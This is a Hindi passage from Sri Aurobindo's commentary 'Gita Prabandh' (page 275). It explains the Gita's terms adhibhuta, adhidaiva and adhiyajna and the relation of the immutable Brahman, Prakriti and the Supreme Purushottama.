गीता प्रबंध -अरविन्द पृ. 275

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गीता-प्रबंध: भाग-2 खंड-1: कर्म, भक्ति और ज्ञान का समन्वयव
3.परम ईश्वर

‘ अधिभूत ’ से अभिप्राय है ‘ क्षर भाव ’ अर्थात् परिवर्तन की सतत क्रिया के परणाम। ‘ अधिदैव ’ से वह पुरूष, वह प्रकृतिस्थ अंतरात्मा अर्थात् वह अहंपदावच्य जीव अभिप्रेत है जो अपनी मूलसत्ता के समूचे क्षरभाव को, जो प्रकृति में कर्म के द्वारा साधित हुआ करता है, अपनी चेतना के विषय- रूप से देखता और भोगता करता है। ‘ अधियज्ञ ’ से, भगवान् श्रीकृष्ण कहते हैं कि , ‘ मैं ’ स्वयं अभिप्रेत हूं- ‘ मैं ’ अर्थात् अखिल कर्म और यज्ञ के प्रभु , भगवान् परमेश्वर, पुरूषोत्तम जो यहां इन सब देहधारियों के शरीर में गुप्त रूपसे विराजमान हैं। अतः जो कुछ है सब इसी एक सूत्र में आ जाता है। इस संक्षिप्त विवरण के पश्चात गीता तुरंत ही ज्ञान से परम मोक्ष प्राप्त होने की भावना का विवेचन करने की ओर अग्रसर होती है जिसका निर्देश पूर्वाध्याय के अंतिम श्लोक में किया गया है। गीता इस विषय में अपने विचार की ओर बाद में आयेगी और वह परतर प्रकाश देगी जो कर्म और आंतरिक अनुभूति के लिये आवश्यक है, उपर्युक्त पारिभाषिक शब्दों द्वारा जो चीज सूचित होती है उसके पूर्णतर ज्ञान के लिये हम तब तक प्रतीक्षा कर सकते हैं। पर आगे बढ़ने के पूर्व यह आवश्यक है कि हम इन वस्तुतत्वों के बीज जो परस्पर - संबंध है उसे उतने स्पष्ट रूप से देख लें जितना इस श्लोक से तथा इसके पूर्व जो कुछ कहा गया है उसे समझ सकते हैं।
क्योंकि , यहां विसर्ग का जो क्रम है उसके संबंध में ही गीता ने अपना अभिप्राय सूचिक किया है । इस क्रम में सर्वप्रथम ब्रह्म अर्थात् परम, अक्षर, स्वतःसिद्ध आत्मभाव है; देशाकाल- निमित्त में होने वाले विश्वप्रकृति के खेल के पीछे सर्वभूत यही ब्रह्म है। उस आत्मसत्ता से ही देश, काल और निमित्त की सत्ता है और उस परिवर्तनीय सर्वस्थित परंतु फिर भी अविभाज्य आश्रम के बिना देश , काल , निमित्त अपने विभाग, परिणाम और मान निर्माण करने में प्रवृत्त नहीं हो सकते । परंतु अक्षर ब्रह्म स्वतः कुछ नहीं करता , किसी कार्य का कारण नहीं होता, किसी बात का विधान नहीं करता; वह निष्पक्ष, सम और सर्वाश्रय है ; वह चुनता या आरंभ नहीं करता। तब यह संकल्प करनेवाला, विध- विधान करनेवाला कौंन है , परम की दिव्य प्रेरणा देने वाला कौंन है?कर्म का नियामक कौंन है और कौंन है जो सनातन सद्वस्तु से काल के अंदर इस विश्वलीला को प्रकट करता है? यह ‘ स्वभाव ’ रूप से प्रकृति है। परम, परमेश्वर, पुरुषोत्तम वहां उपस्थित हैं और वे ही अपनी सनातन अक्षर सत्ता के आधार पर अपनी परा आत्मशक्ति के कार्य को धारण करते हैं वे अपनी भागवती सत्ता चैतन्य , संकल्प या शक्ति को प्रकट करते हैं- वही परा परा प्रकृति है। इस परा प्रकृति में आत्मा का स्वबोध आत्माज्ञान के प्रकाश में गतिशील भाव को , वह जिस चीज को अपनी सत्ता में अलग करता और अपने स्वभाव में अभिव्यक्त करता है, उसके प्रकृत स्त्य को, जीव के आध्यात्मिक स्वभाव को देखता है।


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टीका टिप्पणी और संदर्भ

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